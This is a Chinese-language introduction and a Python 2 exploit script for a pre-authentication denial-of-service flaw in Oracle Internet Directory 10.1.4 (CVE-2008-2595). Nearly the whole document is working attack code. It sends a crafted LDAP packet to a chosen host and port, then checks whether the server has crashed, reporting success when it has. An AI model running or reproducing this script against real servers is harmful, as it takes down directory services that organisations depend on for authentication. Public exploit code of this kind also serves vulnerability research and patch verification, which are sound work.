本文提供针对 Oracle Internet Directory 10.1.4 预认证拒绝服务漏洞(CVE-2008-2595)的 Python 利用脚本。该漏洞在 32 位系统上攻击后立即导致崩溃,而在 64 位平台上可能需要数小时才会生效。有时需连续发送两次攻击才能完全瘫痪服务器,因为 OID 通常能承受第一次冲击,但即便只发送一个数据包,最终也会崩溃。已在 Win2000 x86、WinXP x86、Win2003 X86_64 系统上验证通过。
#!/usr/bin/python
"""
Oracle Internet Directory 10.1.4 预认证拒绝服务漏洞利用脚本
注意:在32位平台上攻击会立即崩溃,64位平台上可能需要数小时。
有时需要发送两次攻击才能完全使OID崩溃。服务器通常能承受第一次攻击,
但即使只发送一个数据包,最终也会崩溃。
已在以下平台测试:Win2000 x86、WinXP x86、Win2003 X86_64
漏洞发现者:Joxean Koret
修复补丁:Oracle 2008年7月关键补丁更新
CVE编号:CVE-2008-2595
"""
import sys
import time
import socket
healthPacket = "0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x02\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00"
packet = "\x30\x0e\x02\x01\x01\x60\x09\x30\x01\x03\x04\x02\x44\x4e\x80\x00"
def checkHealth(hostname, port):
print " --> 等待5秒..."
time.sleep(5)
print " --> 正在连接目标..."
socket.setdefaulttimeout(5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
try:
print " --> 发送健康检查数据包..."
s.sendall(healthPacket)
print " --> 尝试接收响应..."
data = s.recv(1024)
except:
err = sys.exc_info()[1]
if int(err[0]) == 104:
print "[ ] 漏洞利用成功!"
return
if data != "":
print "[!] 服务器仍在运行 :("
else:
print "[?] 服务器无响应,可能已崩溃?"
def oidDos(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[ ] 正在连接 ldap://%s:%d..." % (hostname, port)
s.connect((hostname, int(port)))
print "[ ] 发送攻击数据包..."
s.sendall(packet)
s.close()
print "[ ] 检查 OID 状态..."
checkHealth(hostname, port)
except:
print sys.exc_info()[1]
def usage():
print "Oracle Internet Directory 10.1.4 远程预认证拒绝服务攻击"
print "版权所有 (c) 2007 Joxean Koret"
print
print "用法:"
print sys.argv[0],"-h<主机名> -p<端口>"
print
def main():
if len(sys.argv) != 3:
usage()
sys.exit(0)
hostname = None
port = None
i = 0
for param in sys.argv:
i += 1
if i == 1:
continue
if param.startswith("-h"):
hostname = param[2:]
elif param.startswith("-p"):
port = int(param[2:])
else:
print "未知选项 '%s'" % param
usage()
sys.exit(1)
if not hostname or not port:
print "命令行参数错误。"
usage()
sys.exit(1)
oidDos(hostname, port)
if __name__ == "__main__":
main()
